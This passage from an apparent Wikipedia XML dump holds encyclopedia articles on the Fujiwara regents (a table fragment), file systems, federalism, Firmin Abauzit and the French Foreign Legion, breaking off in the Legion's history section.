| [[Fujiwara no Koretada|Koretada]] || [[924]]&amp;ndash;[[972]] || [[970]]&amp;ndash;[[972]] || &amp;mdash;
|-
| [[Fujiwara no Kanemichi|Kanemichi]] || [[925]]&amp;ndash;[[977]] || &amp;mdash; || [[973]]&amp;ndash;[[977]]
|-
| [[Fujiwara no Yoritada|Yoritada]] || [[924]]&amp;ndash;[[989]] || &amp;mdash; || [[977]]&amp;ndash;[[986]]
|-
| [[Fujiwara no Kaneie|Kaneie]] || [[929]]&amp;ndash;[[990]] || [[986]]&amp;ndash;[[990]] || [[990]]
|-
| [[Fujiwara no Michitaka|Michitaka]] || [[953]]&amp;ndash;[[995]] || [[990]]&amp;ndash;[[993]] || [[993]]&amp;ndash;[[995]]
|-
| [[Fujiwara no Michikane|Michikane]] || [[961]]&amp;ndash;[[995]] || &amp;mdash; || [[995]]
|-
| [[Fujiwara no Michinaga|Michinaga]] || [[966]]&amp;ndash;[[1028]] || [[1016]]&amp;ndash;[[1017]] || &amp;mdash;
|-
| [[Fujiwara no Yorimichi|Yorimichi]] || [[990]]&amp;ndash;[[1074]] || [[1017]]&amp;ndash;[[1020]] || [[1020]]&amp;ndash;[[1068]]
|-
| [[Fujiwara no Norimichi|Norimichi]] || [[997]]&amp;ndash;[[1075]] || &amp;mdash; || [[1068]]&amp;ndash;[[1075]]
|-
| [[Fujiwara no Morozane|Morozane]] || [[1042]]&amp;ndash;[[1101]] || [[1087]]&amp;ndash;[[1091]] || [[1075]]&amp;ndash;[[1087]], [[1091]]&amp;ndash;[[1094]]
|-
| [[Fujiwara no Moromichi|Moromichi]] || [[1062]]&amp;ndash;[[1099]] || &amp;mdash; || [[1094]]&amp;ndash;[[1099]]
|-
| [[Fujiwara no Tadazane|Tadazane]] || [[1078]]&amp;ndash;[[1162]] || [[1107]]&amp;ndash;[[1114]] || [[1106]]&amp;ndash;[[1107]], [[1114]]&amp;ndash;[[1121]]
|-
| [[Fujiwara no Tadamichi|Tadamichi]] || [[1097]]&amp;ndash;[[1164]] || [[1123]]&amp;ndash;[[1129]], [[1142]]&amp;ndash;[[1151]] || [[1121]]&amp;ndash;[[1123]], [[1129]]&amp;ndash;[[1142]], [[1151]]&amp;ndash;[[1158]]
|-
| [[Fujiwara no Motozane|Motozane]] || [[1143]]&amp;ndash;[[1166]] || [[1165]]&amp;ndash;[[1166]] || [[1158]]&amp;ndash;[[1165]]
|-
| [[Fujiwara no Motofusa|Motofusa]] || [[1144]]&amp;ndash;[[1230]] || [[1166]]&amp;ndash;[[1173]] || [[1173]]&amp;ndash;[[1179]]
|-
| [[Fujiwara no Moroie|Moroie]] || [[1172]]&amp;ndash;[[1238]] || [[1184]] || &amp;mdash;
|}

==See also== 
*[[Sessho]]
*[[Shogun]]
*[[Bakufu]]
*[[Puppet emperor]]
*[[Cloistered rule]]
*[[History of Japan]]
*[[Lists of incumbents]]

[[Category:Japanese clans]]
[[Category:Fujiwara family|*]]

[[ar:فوجي-وارا]]
[[de:Fujiwara]]
[[fr:Fujiwara]]
[[nl:Fujiwara (familie)]]
[[ja:藤原氏]]
[[fi:Fujiwara]]</text>
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  </page>
  <page>
    <title>Fifth amendment rights of witness</title>
    <id>11540</id>
    <revision>
      <id>15909284</id>
      <timestamp>2004-06-28T15:07:35Z</timestamp>
      <contributor>
        <username>Gtrmp</username>
        <id>38984</id>
      </contributor>
      <comment>redirect, redundant</comment>
      <text xml:space="preserve">#redirect [[Fifth_Amendment_to_the_United_States_Constitution]]</text>
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  </page>
  <page>
    <title>File system</title>
    <id>11541</id>
    <revision>
      <id>42120855</id>
      <timestamp>2006-03-03T23:28:56Z</timestamp>
      <contributor>
        <ip>203.131.170.117</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">: ''See [[Filing system]] for this term as it is used in [[libraries]] and offices''

In [[computing]], a '''file system''' is a method for storing and organizing [[computer file]]s and the data they contain to make it easy to find and access them.  File systems may use a [[storage device]] such as a [[hard disk]] or [[CD-ROM]] and involve maintaining the physical location of the files, or they may be virtual and exist only as an access method for virtual data or for data over a network (e.g. [[Network File System|NFS]]).

More formally, a file system is a set of [[abstract data type]]s that are implemented for the storage, hierarchical organization, manipulation, navigation, access, and retrieval of [[data]].

== Aspects of file systems ==
The most familiar file systems make use of an underlying [[data storage device]] that offers access to an array of fixed-size [[block size (data storage and transmission)|block]]s, sometimes called ''sectors'', generally 512 bytes each. The file system software is responsible for organizing these sectors into [[computer file|files]] and [[directory|directories]], and keeping track of which sectors belong to which file and which are not being used. 

However, file systems need not make use of a storage device at all. A file system can be used to organize and represent access to any data, whether it be stored or dynamically generated (eg, from a network connection).

Whether the file system has an underlying storage device or not, file systems typically have directories which associate '''file names''' with files, usually by connecting the file name to an index into a [[file allocation table]] of some sort, such as the [[File Allocation Table|FAT]] in an [[MS-DOS]] file system, or an [[inode]] in a [[Unix-like]] filesystem. Directory structures may be flat, or allow hierarchies where directories may contain subdirectories.  In some file systems, file names are structured, with special syntax for [[filename extension]]s and version numbers. In others, file names are simple strings, and per-file [[Metadata (computing)|metadata]] is stored elsewhere. 

The hierarchical filesystem was an early research interest of [[Dennis Ritchie]] of Unix fame; previous implementations were restricted to only a few levels, notably the IBM implementations, even of their early databases like IMS. After the success of Unix, Ritchie extended the filesystem concept to every object in his later operating system developments, such as [[Plan 9 (operating system)|Plan 9]].

Traditional filesystems offer facilities to create, move and delete both files and directories. They lack facilities to create additional links to a directory (hard [[link]]s in [[Unix]]), rename parent links (&quot;..&quot; in [[Unix-like]] OS), and create bidirectional links to files. 

Traditional filesystems also offer facilities to truncate, append to, create, move, delete and in-place modify files. They do not offer facilities to [[prepend]] to or truncate from the beginning of a file, let alone arbitrary insertion into or deletion from a file. The operations provided are highly asymmetric and lack the generality to be useful in unexpected contexts. For example, interprocess [[Pipeline (Unix)|pipes]] in [[Unix]] have to be implemented outside of the filesystem because it does not offer [[truncation]] from the beginning of files.

Secure access to basic file system operations can be based on a scheme of [[access control list]]s or [[capability (computers)|capabilities]]. Research has shown access control lists to be difficult to secure properly, which is why research operating systems tend to use capabilities. Commercial file systems still use access control lists. ''see: [[secure computing]]''

==Types of file systems==
File system types can be classified into disk file systems, network file systems and special purpose file systems. 

=== Disk file systems ===
A ''disk file system'' is a file system designed for the storage of [[computer file|files]] on a [[data storage device]], most commonly a [[disk drive]], which might be directly or indirectly connected to the computer.  Examples of disk file systems include [[File Allocation Table|FAT]], [[NTFS]], [[Hierarchical_File_System|HFS]], [[ext2]], [[ISO 9660]], [[Files-11|ODS-5]], and [[Universal Disk Format|UDF]].

Some disk file systems are also [[journaling file system]]s or [[versioning file system]]s.

=== Database file systems ===
New concepts for file management are database-based file systems. Instead of hierarchical structured management, files are identified by their characteristics, like type of file, topic, author, or similar [[Metadata (computing)|metadata]]. Therefore a file search can be formulated in [[SQL]] or in natural speech. Examples include [[GNOME VFS|Gnome VFS]], [[Be File System|BFS]], and [[WinFS]].
&lt;br style=&quot;clear:both;&quot;/&gt;

=== Transactional file systems ===
This is a special kind of file system in that it logs events or transactions to files. 
Each operation that you do may involve changes to a number of different files and disk structures. In many cases, these changes are related, meaning that it is important that they all be executed at the same time.
Take for example a bank sending another bank some money electronically. The bank's computer will &quot;send&quot; the transfer instruction to the other bank and also update its own records to indicate the transfer has occurred. If for some reason the computer crashes before it has had a chance to update its own records, then on reset, there will be no record of the transfer but the bank will be missing some money.  A transactional system can rebuild the actions by resynchronizing the &quot;transactions&quot; on both ends to correct the failure.  All transactions can be saved, as well, providing a complete record of what was done and where.  This type of file system is designed and intended to be fault tolerant and necessarily, incurs a high degree of overhead.

=== Special purpose file systems ===
A special purpose file system is basically any file system that is not a disk file system or network file system. This includes systems where the [[computer file|files]] are arranged dynamically by [[software]], intended for such purposes as communication between [[computer process]]es or temporary file space.

Special purpose file systems are most commonly used by file-centric operating systems such as Unix. Examples include the '/proc' filesystem used by some Unix variants, which grants access to information about [[process (computing)|process]]es and other operating system features.

Deep space science exploration craft, like [[Voyager I]] &amp; [[Voyager II|II]] used digital tape based special file systems. Most modern space exploration craft like [[Cassini-Huygens]] used [[Real-time operating system]] file systems or RTOS influenced file systems. The [[Mars Rover]]s are one such example of an RTOS file system, important in this case because they are implemented in flash memory.

== File systems and operating systems==
Most [[operating system]]s provide a file system, as a file system is an integral part of any modern operating system.  Early [[microcomputer]] operating systems' only real task was file management - a fact reflected in their names (see [[DOS]] and [[QDOS]]). Some early operating systems had a separate component for handling file systems which was called a [[disk operating system]]. On some microcomputers, the disk operating system was loaded separately from the rest of the operating system. On early operating systems, there was usually support for only one, native, unnamed file system; for example, [[CP/M]] supports only its own file system, which might be called &quot;CP/M file system&quot; if needed, but which didn't bear any official name at all.

Because of this, there needs to be an interface provided by the operating system software between the user and the file system. This interface can be textual (such as provided by a [[command line interface]], such as the [[Unix shell]], or [[DIGITAL_Command_Language|OpenVMS DCL]]) or graphical (such as provided by a [[graphical user interface]], such as [[file browser]]s). If graphical, the metaphor of the ''[[folder]]'', containing documents, other files, and nested folders is often used (see also: [[directory]] and [[folder]]).

===File systems under Unix===
Unix and Unix-like operating systems assign a device name to each device, but this is not how the files on that device are accessed. Instead, Unix creates a virtual file system, which makes all the files on all the devices appear to exist under one hierarchy. This means, in Unix, there is one [[root directory]], and every file existing on the system is located under it somewhere. Furthermore, the Unix root directory does not have to be in any physical place. It might not be on your first hard drive - it might not even be on your computer. Unix can use a network shared resource as its root directory.

To gain access to files on another device, you must first inform the operating system where in the directory tree you would like those files to appear. This process is called [[mount]]ing a file system. For example, to access the files on a [[CD-ROM]], informally, one must tell the operating system &quot;Take the file system from this CD-ROM and make it appear under the directory /mnt&quot;. The directory given to the operating system is called the ''mount point'' - in this case it is &lt;tt&gt;/mnt&lt;/tt&gt;. The /mnt directory exists on all Unix systems (as specified in the [[Filesystem Hierarchy Standard]]) and is intended specifically for use as a mount point for temporary media like floppy disks or [[Compact disc|CD]]s. It may be empty, or it may contain subdirectories for mounting individual devices. Generally, only the [[System administrator|administrator]] (i.e. [[root user]]) may authorize the mounting of file systems.

[[Unix-like]] operating systems often include software and tools that assist in the mounting process and provide it new functionality.  Some of these strategies have been coined &quot;auto-mounting&quot; as a reflection of their purpose.
#In many situations, filesystems other than the root need to be available as soon as the operating system has [[booting|booted]].  All Unix-like systems therefore provide a facility for mounting filesystems at boot time.  System [[System administrator|administrator]]s define these filesystems in the configuration file [[fstab]], which also indicates options and  [[mount point]]s.
#In some situations, there is no need to mount certain filesystems at [[booting|boot time]], although their use may be desired thereafter.  There are some utilities for Unix-like systems that allow the mounting of predefined filesystems upon demand.
#Removable media have become very common with [[microcomputer]] platforms.  They allow  programs and data to be transferred between machines without a physical connection.  Two common examples include [[CD-ROM]]s and [[DVD]]s.  Utilities have therefore been developed to detect the presence and availability of a medium and then mount that medium without any user intervention.
&lt;!-- supermount definition may be inaccurate --&gt;
#Progressive Unix-like systems have also introduced a concept called [[supermount]]ing.  For example, a floppy disk that has been supermounted can be physically removed from the system.  Under normal circumstances, the disk should have been synchronised and then unmounted before its removal.  Provided synchronisation has occurred, a different disk can be inserted into the drive.  The system automatically notices that the disk has changed and updates the [[mount point]] contents to reflect the new medium.
&lt;!-- there may be some concepts I {forgot, omitted, did not know, am not creative enough to invent} --&gt;

===File systems under Mac OS X===
[[Mac OS X]] uses a file system that it inherited from [[Mac OS]] called [[HFS Plus]].  HFS Plus is a [[Metadata (computing)|metadata]]-rich and [[case preservation|case preserving]] but [[case sensitivity|case insensitive]] file system.  Due to the  Unix roots of Mac OS X, Unix permissions were added to HFS Plus.  Later versions of HFS Plus added a [[Journaling file system|journal]] to prevent corruption of the file system structure and introduced a number of optimizations to the allocation algorithms in an attempt to defragment files automatically without requiring an external defragmenter.

Filenames can be up to 255 characters.  HFS Plus uses [[Unicode]] to store filenames.  On Mac OS X, the [[file format|filetype]] can come from the [[Type code]] stored in file's metadata or the filename.

HFS Plus has three kinds of links: [[Hard link]]s, [[Symbolic link]]s and [[Alias (Mac OS)|Aliases]].  Aliases are designed to maintain a link to their original file even if they are moved or renamed.

===File systems under Plan 9===
[[Plan 9 (operating system)|Plan 9]] was originally designed to extend some of Unix's good points, and to introduce some new ideas of its own. With respect to file systems, the Unix system of treating things as files was continued, but in Plan 9, ''everything'' is treated as a file, and accessed as a file would be. Secondly, the underlying [[9P]] protocol was used to ensure that the difference between a file existing on a remote system and a file existing on a local system was basically nil (apart from  a possible difference in [[latency]]). This had the advantage that a device or devices, represented by files, on a remote computer, could be used as though it were the local computer's own device(s). This means that under [[Plan 9 (operating system)|Plan 9]], multiple file servers provide access to devices, classing them as special file systems.

Everything on a Plan 9 system has, then, an abstraction as a file. For example, [[File Transfer Protocol|FTP]] connections are not handled by a dedicated program, but instead the &lt;tt&gt;ftpfs&lt;/tt&gt; server mounts the remote hierarchy as part of the local filesystem hierarchy, and is accessed as if the remote files were local. Another example, the mail system uses file servers that synthesize virtual files and directories to represent your mailbox as /mail/fs/mbox.

===File systems under Microsoft Windows===
[[Microsoft Windows]] developed out of an earlier operating system ([[MS-DOS]] which in turn was based on [[QDOS]] and that on [[CP/M-80]], which took many ideas from still earlier operating systems, notably several from [[Digital Equipment Corporation|DEC]]), and has added both file system and user interface ideas from several other sources since its first release (Unix, OS/2, etc). As such, Windows makes use of the [[File Allocation Table]] and [[NTFS]] filesystems. Older versions of the FAT file system had file name length limits, plus had restrictions on the maximum size of FAT-formatted disks or [[partition (computing)|partitions]]. 

NTFS, introduced with the [[Windows NT]] operating system, allowed [[Access_control_list|ACL]]-based permission control. Hard links, multiple file streams, attribute indexing, quota tracking, compression and mount-points for other file systems (called &quot;junctions&quot;) are also supported, though not all well-documented.

Unlike many other operating systems, Windows uses a ''drive letter'' abstraction at the user level to distinguish one disk or partition from another. For example, the [[path (computing)|path]] &lt;tt&gt;C:\WINDOWS\&lt;/tt&gt; represents a directory &lt;tt&gt;WINDOWS&lt;/tt&gt; on the partition represented by the letter C. The C drive is most commonly used for the primary hard disk partition, on which Windows is installed and from which it boots. This &quot;tradition&quot; has become so firmly ingrained that bugs came about in older versions of Windows which made assumptions that the drive that the operating system was installed on was C.  The tradition of using &quot;C&quot; for the drive letter can be traced to MS-DOS, where the letters A and B were reserved for up to two floppy disk drives; in a common configuration, A would be the [[Floppy disk#The 3½-inch micro floppy diskette|3½-inch floppy drive]], and B the [[Floppy disk#The_5¼-inch_minifloppy|5¼-inch one]]. Network drives may also be mapped to drive letters.

Since Windows interacts with the user via a [[graphical user interface]], its documentation refers to directories as a ''folder'' which contains files, and is represented graphically with a folder icon.

===File systems under OpenVMS===
This topic is discussed here: [[Files-11]]

===File systems under MVS [IBM Mainframe]===
This topic is discussed here: [[MVS#MVS filesystem]]

== See also ==
* [[List of file systems]] 
* [[Comparison of file systems]]
* [[Filename extension]]
* [[Virtual file system]]
* [[Filesystem API]]

==External links==

* [http://www.filesystems.co.nr Filesystems of Operating Systems]
* [http://www.forensics.nl/filesystems Filesystem Specifications and Technical Whitepapers]
* [http://filesystems.org/all-projects.html Interesting File System Projects]


[[Category:Computer file systems|*]]
[[Category:Data management|Computer file system]]

&lt;!-- interwiki --&gt;

[[da:Filsystem]]
[[de:Dateisystem]]
[[es:Sistema de archivos]]
[[fr:Système de fichiers]]
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[[lt:Failų sistema]]
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[[ja:ファイルシステム]]
[[no:Filsystem]]
[[pl:System plików]]
[[pt:Sistema de ficheiros]]
[[ru:Файловая система]]
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    </revision>
  </page>
  <page>
    <title>Federalism</title>
    <id>11542</id>
    <revision>
      <id>41125162</id>
      <timestamp>2006-02-25T05:13:52Z</timestamp>
      <contributor>
        <ip>221.185.253.16</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Federalism ''' is the idea of a group or body of members that are bound together (latin: ''foedus'', [[Covenant (disambiguation)|covenant]]) with a governing representative head.  That representative head can be a [[monarch|king]] or [[God]] (as in theology), or a [[Thing (assembly)|thing]] or [[general assembly]] (as in politics).

*'''''In politics''''', federalism is the [[political philosophy]] that underlies a system of [[government]] in which sovereignty is [[constitution]]ally divided between a central governing authority and constituent political units (like states or provinces), creating what is often called a [[federation]].  Proponents are often called [[federalist]]s.  In Canada and Europe, &quot;federalist&quot; is often used to describe those who favor a stronger federal government (or [[European Union]] government) and weaker provincial governments. The same is historically true in the United States, with those who generally favor a [[confederation]], or weaker federal government and stronger state governments, being called &quot;[[Anti-Federalism|anti-federalist]]s&quot;. However, in recent years in America &quot;federalism&quot; has come to mean something closer to ''[[confederacy]]''.

*'''''In theology''''', federalism is a synonym for basic [[Covenant Theology]].  It is a commonly used term in serious theological works since the 17th century (prior to the political use) and to this day, particularly among [[Calvinism|Reformed thinkers]].  Federalism describes the relationship between the first representative man, [[Adam and Eve|Adam]], and those born of the flesh (i.e. all [[Birth|generate]] mankind), and likewise between the second and last representative man, [[Jesus|Christ]], and those who are in addition born of the Spirit (i.e. all [[Born again|regenerate]] mankind; see [[Gospel of John|John]] [http://www.biblegateway.com/passage/?search=john+3:1-8;&amp;version=47; 3:1-8] and [[Epistle to the Romans|Romans]] [http://www.biblegateway.com/passage/?search=Romans+8:1-17;&amp;version=47; 8:1-17]). This doctrine is most clearly described in [[Epistle to the Romans|Romans]] [http://www.biblegateway.com/passage/?search=romans+5:12-21;&amp;version=47; 5:12-21] and [[First Epistle to the Corinthians|1 Corinthians]] [http://www.biblegateway.com/passage/?book_id=53&amp;chapter=15&amp;version=47&amp;context=chapter 15:20-28, 42-49].  In theology, the two parties (i.e. the representative head and the represented members) do not share sovereignty.


== Political federalism ==

=== Characteristics ===
The earliest source of political federalism is the [[ecclesiology|ecclesiastical]] federalism found in the [[Bible]], especially that of the [[Christian Church]] as apostolically prescribed in the [[New Testament]]. Modern forms of political federalism most closely resemble [[presbyterian church governance]].

Another source is the [[Constitution of Switzerland|Swiss constitution]] and the writings of two British observers, [[Albert Dicey]] and [[James Bryce]], have been influential in the early theory of federalism. Dicey identified two conditions for the formation of a federal state. The first was the existence of a body of countries &quot;so closely connected by locality, by history, by race, or the like, as to be capable to bearing, in the eyes of their inhabitants, an impress of common nationality.&quot; The second condition is &quot;the desire for national unity and the determination to maintain the independence of each man's separate State&quot;. 

The distribution of powers is an essential feature of federalism. In a classic work on the subject, Professor K. C. Wheare gave this test for federal government: &quot;Does a system of government embody predominantly a division of powers between general and regional authorities, each of which, in its own sphere, is co-ordinate with the others and independent of them?&quot; The result of the distribution of powers is that no one authority can wield the same amount of power as under a [[unitarian state]]. 

Under a federal system a Constitution is the supreme power from which the state is derived. An independent [[judiciary]] is necessary to treat as void every act which is inconsistent with the Constitution. Because of this, federalism is precluded by [[legalism]]. The Constitution must necessarily be &quot;rigid&quot; and &quot;inexpansive&quot;. Its law must be either legally immutable, or else capable of being changed only by some authority above and beyond the ordinary legislative bodies. The difficulty of altering the constitution tends to produce conservative sentiment.

=== Federalism and Democracy ===

The case for federalism is advanced by federalist theory, which argue that federalism provides a robust constitutional system that anchors [[pluralism|pluralist]] [[democracy]], and that it enhances democratic participation through providing dual citizenship in a compound republic. 

The classic statement of this position can be found in ''[[Federalist Papers|The Federalist]]'', which argued that federalism helps enshrine the principle of [[due process]], limiting arbitrary action by the state. First, federalism can limit government power to infringe rights, since it creates the possibility that a legislature wishing to restrict liberties will lack the constitutional power, while the level of government that possesses the power lacks the desire. Second, the legalistic decision making processes of federal systems limit the speed with which governments can act.

The argument that federalism helps to secure democracy and [[human rights]] has been influenced by the contemporary [[public choice theory]]. It has been argued that in smaller political units, individuals can participate more directly than in a monolithic unitary government. Moreover, individuals dissatisfied with conditions in one State have the option of moving to another. Of course, this argument assumes that a freedom of movement between States is necessarily secured by a federal system.

The capacity of a federal system to protect [[civil liberty|civil liberties]] has been disputed. Often there is confusion between the rights of individuals with those of states. In [[Australia]], for example, some of the major intergovernmental conflicts in recent decades have been the direct result of federal intervention to secure the rights of [[minority group]]s, and required limitations on the powers of state governments. It is also essential to avoid confusion between the constraints set by [[judicial review]], the constitutional power of the courts to overrule [[Parliament]], and federalism itself.

On the one hand, some U.S. states have regrettable histories of denying civil liberties to racial groups, women, and others. On the other hand, the laws and constitutions of some states have protected such minorities with legal rights and protections that exceed those of the U.S. Constitution and the [[U.S. Bill of Rights]].

=== Federalism and the U.S. Constitution ===

Before the [[U.S. Constitution]] was written, each American state was essentially sovereign.  The U.S. Constitution created a national government with sufficient powers to unify the states, but did not supplant state governments.  This federal arrangement, by which the central national government exercises power over some issues and the state governments exercise power over other issues, is one of the basic characteristics of the U.S. Constitution that checks governmental power.  Other such characteristics are the separation of powers among the three branches of government--the legislative, executive, and judicial.  The authors of the ''[[Federalist Papers]]'' explained in essays number 45 and 46 how they expected state governments to exercise checks and balances on the national government to maintain [[limited government]] over time.

Because the states were preexisting political entities, the U.S. Constitution did not need to define or explain federalism in any one section.  However, it contains numerous mentions of the rights and responsibilities of state governments and state officials vis-à-vis the federal government. The federal government has certain ''express powers'' (also called ''enumerated powers''), including the right to declare taxes, declare war, and regulate interstate and foreign commerce. In addition, it has ''implied power'' to pass any law &quot;necessary and proper&quot; (found within the ''elastic clause'') for the execution of its express powers. Powers that the Constitution does not give to the federal government or forbid to the states&amp;mdash;the ''[[reserved powers]]''&amp;mdash;are reserved to the people or the states[http://usinfo.state.gov/products/pubs/constitution/supreme.htm]. The power of the federal government was significantly expanded by amendments to the Constitution following the [[United States Civil War|Civil War]], and by some later amendments.

Over time, the federal government has increased in size and influence, both in terms of its influence on everyday life and relative to the state governments.  There are several reasons for this, including the need to regulate businesses and industries that span state borders, attempts to secure civil rights, and the provision of social services.  Many people believe that the federal government has grown beyond the bounds permitted by the express powers.  The [[US Supreme Court]] has occasionally invalidated federal statutes (e.g., the [[Gun-Free School Zones Act]] in [[United States v. Lopez]]).  However, most actions by the federal government can find some legal support among the express powers, such as the [[commerce clause]].

Dual federalism holds that the federal government and the state governments are co-equals, each sovereign. In this theory, parts of the Constitution are interpreted very narrowly, such as the 10th Amendment, the Supremacy Clause, the Necessary and Proper Clause, and the Commerce Clause. In this narrow interpretation, the federal government has jurisdiction only if the Constitution clearly grants such. In this case, there is a very large group of powers belonging to the states, and the federal government is limited to only those powers explicitly listed in the Constitution. http://www.usconstitution.net/consttop_fedr.html good link

=== European federalism ===

Several European countries, among them [[Switzerland]] and [[Germany]] adopted federalism. 

After World War II, several movements were created advocating a European Federation such as the Union of European Federalists or the [[European Movement]], founded in 1948. Those organisations were influential, but never in a decisive way, regarding the European unification process.  Europe remains nowadays far from being a federation, although the [[European Union]] includes some characteristics of federalism. The European federalists have been campaigning in favour of a directly elected [[European Parliament]] and were among the firsts to put a European Constitution on the agenda. Their opponents are both those in favour of a lesser role for the Union and those who wish the Union to be ruled by national governments rather than by an elected European government. Although federalism was mentioned both in drafts of the [[Maastricht treaty]] and the [[Treaty establishing a Constitution for Europe]], it was never accepted by the representatives of the Member-States. 

Governments in favour of a more federal Union are usually the German, Belgian and Italian governments. Those traditionally opposed to this idea are the British and French governments. The proposal for the creation of a [[European Defense Community]] can be considered a step towards creating a more federalised Europe.

== Theological federalism ==

See '''[[Covenant Theology]]''' for a more extended treatment of the ''theological federalism'' described in the introduction above.

Secondarily in theology, federalism also finds expression in [[ecclesiology]] (the [[doctrine]] of the [[Christian Church|church]]).  For example, [[Presbyterian church governance|presbyterian ecclesiology]] resembles [[parliament]]ary [[republicanism]] (a form of ''political federalism'') to a large extent.  In [[Presbyterianism|Presbyterian]] denominations, the local church is ruled by elected [[Elder (religious)|elder]]s, some of which are [[minister of religion|minister]]ial.  Each church then sends representatives or commissioners to [[presbytery|presbyteries]] and further to a [[general assembly]].  Each greater level of assembly has ruling authority over its constituent members.  In this governmental structure, each component has some level of sovereignty over itself.  As in ''political federalism'', in presbyterian ecclesiology there is shared sovereignty. ''See [[presbyterian church governance]]''

Other ecclesiologies also have significant representational and federalistic components, including the more democratic [[Congregationalist church governance|congregational ecclesiology]], and even in more hierarchical [[Episcopalian church governance|episcopal ecclesiology]].

==See also==
*[[Anti-Federalism]]
*[[Canadian federalism]] (which refers to opponents of [[Quebec sovereignty movement|Quebec separatism]])
*[[Federalist]]
*[[Federation]]
*[[Confederation]]

[[Category:Political philosophy]]
[[Category:Federalism| ]]

[[ar:فيدرالية]]
[[es:Federalismo]]
[[gl:Federalismo]]
[[pt:Federalismo]]
[[ja:連邦主義]]</text>
    </revision>
  </page>
  <page>
    <title>Firmin Abauzit</title>
    <id>11543</id>
    <revision>
      <id>36028673</id>
      <timestamp>2006-01-21T00:51:40Z</timestamp>
      <contributor>
        <username>FeanorStar7</username>
        <id>160806</id>
      </contributor>
      <text xml:space="preserve">'''Firmin Abauzit''' ([[1679]] &amp;ndash; [[1767]]) was a [[France|French]] scholar who worked on [[physics]], [[theology]] and [[philosophy]].

He was born of [[Protestant]] parents at [[Uzès]], in [[Languedoc]]. His father died when he was but two years of age; and when, on the revocation of the [[Edict of Nantes]] in 1685, the authorities took steps to have him educated in the [[Roman Catholic]] faith, his mother contrived his escape.

For two years his brother and he lived as fugitives in the mountains of the [[Cévennes]], but they at last reached [[Geneva]], where their mother afterwards joined them on escaping from the imprisonment in which she was held from the time of their flight. Abauzit at an early age acquired great proficiency in languages, physics, and theology.

In 1698 he went to the [[Netherlands]], and there became acquainted with [[Pierre Bayle]], [[Pierre Jurieu]] and [[Jacques Basnage]]. Proceeding to [[England]], he was introduced to Sir [[Isaac Newton]], who found in him one of the earliest defenders of his discoveries. Newton corrected in the second edition of his ''[[Principia]]'' an error pointed out by Abauzit, and, when sending him the ''Commercium Epistolicum,'' said, &quot;You are well worthy to judge between [[Gottfried Leibniz]] and me.&quot;

The reputation of Abauzit induced [[William III of England|William III]] to request him to settle in [[England]], but he did not accept the king's offer, preferring to return to [[Geneva]]. There, from 1715 he rendered valuable assistance to a society that had been formed for translating the [[New Testament]] into [[French language|French]]. He declined the offer of the chair of philosophy in the university in 1723, but accepted, in 1727, the sinecure office of librarian to the city of his adoption. Here he died at a good old age, in 1767.

Abauzit was a man of great learning and of wonderful versatility. Whatever chanced to be discussed, it used to be said of Abauzit, as of Professor [[William Whewell]] of more modern times, that he seemed to have made it a subject of particular study. [[Jean-Jacques Rousseau|Rousseau]], who was jealously sparing of his praises, addressed to him, in his ''[[Julie, ou la nouvelle Héloïse]]'', a fine [[panegyric]]; and when a stranger flatteringly told [[Voltaire]] he had come to see a great man, the philosopher asked him if he had seen Abauzit.

Little remains of the labours of this intellectual giant, his heirs having, it is said, destroyed the papers that came into their possession, because their own religious opinions were different. A few theological, archaeological and astronomical articles from his pen appeared in the ''Journal Helvetique'' and elsewhere, and he contributed several papers to Rousseau's ''Dictionnaire de musique'' (1767). He wrote a work throwing doubt on the [[canonical]] authority of the [[Apocalypse]], which called forth a reply from Dr [[Leonard Twells]]. He also edited and made valuable additions to [[J. Spon]]'s ''Histoire de la republique de Geneve''. A collection of his writings was published at Geneva in 1770 (''Oeuvres de feu M. Abauzit''), and another at [[London]] in 1773 (''Oeuvres diverses de M. Abauzit''). Some of them were translated into [[English language|English]] by Dr [[Edward Harwood]] (1774). 

Information regarding Abauzit will be found in J. Senebier's ''Histoire Litteraire de Genève'', Harwood's ''Miscellanies,'' and W. Orme's ''Bibliotheca Biblica'' (1824). 

{{Wikisource1911Enc|Abauzit, Firmin}}
{{1911}}

[[Category:1679 births|Abauzit, Firmin]]
[[Category:1767 deaths|Abauzit, Firmin]]
[[Category:Christians in science|Abauzit, Firmin]]
[[Category:French philosophers|Abauzit, Firmin]]
[[Category:French physicists|Abauzit, Firmin]]
[[Category:French theologians|Abauzit, Firmin]]

[[fr:Firmin Abauzit]]</text>
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  </page>
  <page>
    <title>French Foreign Legion</title>
    <id>11544</id>
    <revision>
      <id>41922952</id>
      <timestamp>2006-03-02T17:20:06Z</timestamp>
      <contributor>
        <ip>163.191.202.2</ip>
      </contributor>
      <comment>/* The Legion in popular culture */</comment>
      <text xml:space="preserve">[[Image:French Foreign Legion dsc06878.jpg|thumb|''Légionnaires'' in dress uniform. Note the red epaulettes and the distinctive white [[kepi]]. They carry the standard assault rifle, the [[FAMAS]].]]
The '''French Foreign Legion''' ([[French language|French]]: '''''Légion Étrangère''''') is an unique and distinguished unit within the [[French Army]] since [[1831]]. It is an elite rapid deployment force made up of foreign volunteers serving France.

==History==
The French Foreign Legion was created by [[Louis-Philippe of France|Louis Philippe]], then [[King of France]], on [[March 10]], [[1831]], to support his war in [[Algeria]].  Successive legions were also raised to augment the French forces in the [[Crimean War]], in [[Italy]], and in [[Mexico]]. 

Initially, the Legion proved to be an effective means for removing some of the more &quot;undesirable&quot; elements of 19th century French society, as its ranks were filled with cut-throats, run-aways, beggars, general criminals and unwanted immigrants. During its early period, the Legionnaire was very poorly trained and given only the most basic of equipment, clothing and food. He tended to be badly motivated - as his reasons for joining were desperation and self preservation rather than patriotism (he would most likely be running away from some grave problem in his life). Living and working conditions were terrible, and their early campaigns were typically bloody affairs. As a result, [[desertion]] has traditionally been a major problem for the Legion, and in fact continues to be so to this day. 

The task of forging a rag-tag band of poorly-motivated would-be warriors - from many different cultures - into an effective fighting force proved to be an immensely difficult undertaking. To accomplish this, the Legion quickly developed an incredibly austere code of discipline, far in excess of that of other contemporary units (even within their own French army).  

===Mexico===

